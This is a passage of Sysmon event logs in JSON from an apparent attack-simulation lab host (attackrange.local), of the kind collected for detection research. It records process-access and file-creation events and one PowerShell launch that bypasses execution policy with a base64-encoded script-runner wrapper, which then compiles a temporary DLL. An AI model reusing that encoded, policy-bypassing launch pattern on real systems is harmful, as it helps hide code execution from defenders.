AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.709\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.709","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4382,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.709\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.709","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4383,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.709\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.709","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4384,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.709\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413B-5F2D-0000-0010902C0600}\r\nTargetProcessId: 4360\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.709","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413B-5F2D-0000-0010902C0600}","TargetProcessId":"4360","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4385,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:55:39.725\r\nProcessGuid: {90617006-413A-5F2D-0000-0010CB190600}\r\nProcessId: 4256\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\bgn45d5u.dll\r\nCreationUtcTime: 2020-08-07 11:55:39.725","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:55:39.725","ProcessGuid":"{90617006-413A-5F2D-0000-0010CB190600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\bgn45d5u.dll","CreationUtcTime":"2020-08-07 11:55:39.725","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4386,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.725\r\nProcessGuid: {90617006-413A-5F2D-0000-0010CB190600}\r\nProcessId: 4256\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\bgn45d5u.cmdline\r\nCreationUtcTime: 2020-08-07 11:55:39.725","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.725","ProcessGuid":"{90617006-413A-5F2D-0000-0010CB190600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\bgn45d5u.cmdline","CreationUtcTime":"2020-08-07 11:55:39.725","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4387,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.735\r\nProcessGuid: {90617006-413B-5F2D-0000-0010472E0600}\r\nProcessId: 2228\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nFileVersion: 4.7.2053.0 built by: NET47REL1\r\nDescription: Visual C# Command Line Compiler\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: csc.exe\r\nCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\bgn45d5u.cmdline\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-413A-5F2D-0000-00201E0A0600}\r\nLogonId: 0x60A1E\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52\r\nParentProcessGuid: {90617006-413A-5F2D-0000-0010CB190600}\r\nParentProcessId: 4256\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.735","ProcessGuid":"{90617006-413B-5F2D-0000-0010472E0600}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","FileVersion":"4.7.2053.0 built by: NET47REL1","Description":"Visual C# Command Line Compiler","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"csc.exe","CommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\bgn45d5u.cmdline\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-413A-5F2D-0000-00201E0A0600}","LogonId":"0x60a1e","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52","ParentProcessGuid":"{90617006-413A-5F2D-0000-0010CB190600}","ParentProcessId":"4256","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4388,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.756\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.756","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4389,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.756\r\nSourceProcessGUID: {90617006-413A-5F2D-0000-0010CB190600}\r\nSourceProcessId: 4256\r\nSourceThreadId: 4620\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-413B-5F2D-0000-0010472E0600}\r\nTargetProcessId: 2228\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+270222|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26fe9f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f9ee|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f97a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26e48b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c1ecb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c1999|UNKNOWN(00007FF8EA6AAF2F)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 